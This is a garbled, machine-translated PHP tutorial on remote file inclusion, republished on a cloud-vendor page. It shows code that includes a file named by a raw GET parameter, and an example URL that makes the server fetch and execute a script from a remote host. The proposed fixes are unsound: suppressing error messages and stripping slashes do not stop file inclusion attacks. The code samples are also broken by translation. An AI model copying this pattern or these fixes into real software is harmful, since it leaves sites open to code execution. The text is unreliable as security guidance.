Web game Development PHP Network Development detailed remote file contains the vulnerability

Source: Internet
Author: User
The following code implements the ability to include different files depending on the file name of the browser's address bar parameter.

Copy the Code code as follows:


$file _name = $_get["filename"]; Get the current file name
Include ("$file _name"); Include file
Some other operations
?>


At this point, you can implement functions that contain different files by specifying different filenames on the address bar. For example, you can include and execute a myinc.php file in code by accessing http://localhost/test.php?filename=myinc.php on a browser.
Because the above code does not do any error handling, the browser does not add parameters to run, so the following results will be run.
Warning:include (. php) [function.include]: failed to open stream:no such file or directory in C:\Program files\xampp\htdo Cs\bugs\test6.php on line 3
Warning:include () [function.include]: Failed opening '. php ' for inclusion (include_path= '.; C:\Program files\xampp\php\pear\ ') in C:\Program files\xampp\htdocs\bugs\test6.php on line 3
By reading this error message, visitors can tell that the current operation is a file containing operation. At this point, you can place a corresponding script code on your own server. It is important to note that PHP obtains the final output of the remote server, rather than the file itself, when it obtains the remote file. The script code is located on the 192.168.0.1 server, the file name is Hello.txt, and the script code is shown below.

Copy the Code code as follows:


echo "Hello world!";
?>


At this point, you can run the script in Hello.txt by accessing Http://localhost/test.php?filename=http://192.168.0.1/hello.txt in the browser.
To solve this problem, one way is to complete the error message of the code so that the visitor cannot know that the current script is containing the file specified in the parameter. The modified code is shown below.

Copy the Code code as follows:


$file _name = $_get["filename"]; Get the current file name
if (! @include ("$file _name.php"))//Include file
{
Die ("Error occurred during page browsing");
}
Some other operations
?>


After modification, if the contained file cannot be found, the error message "page is in the process of browsing" will appear, and the visitor will not be able to get the specific action information of the current page.
The second way can be more effective in preventing remote file containment attacks. The method is to replace the slash "/" in the Address bar parameter. This way, when you enter a remote file address in the address bar parameter, the code will not be able to get the parameters correctly. The modified code is shown below.

Copy the Code code as follows:


$file _name = str_replace ('/', ' ', $_get["filename"]); Get the current file name
if (! @include ("$file _name.php"))//Include file
{
Die ("Error occurred during page browsing");
}
Some other operations
?>


In this way, when Http://localhost/test.php?filename=http://192.168.0.1/hello.txt is accessed in the browser, the actual PHP code obtains the name of the containing file as an HTTP : 192.168.0.1bugstest6_test. The page will not contain the remote file and display the appropriate error message.

The above describes the network game development of PHP Network development of the remote file contains the vulnerability, including the development of online game content, I hope that the PHP tutorial interested friends helpful.

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.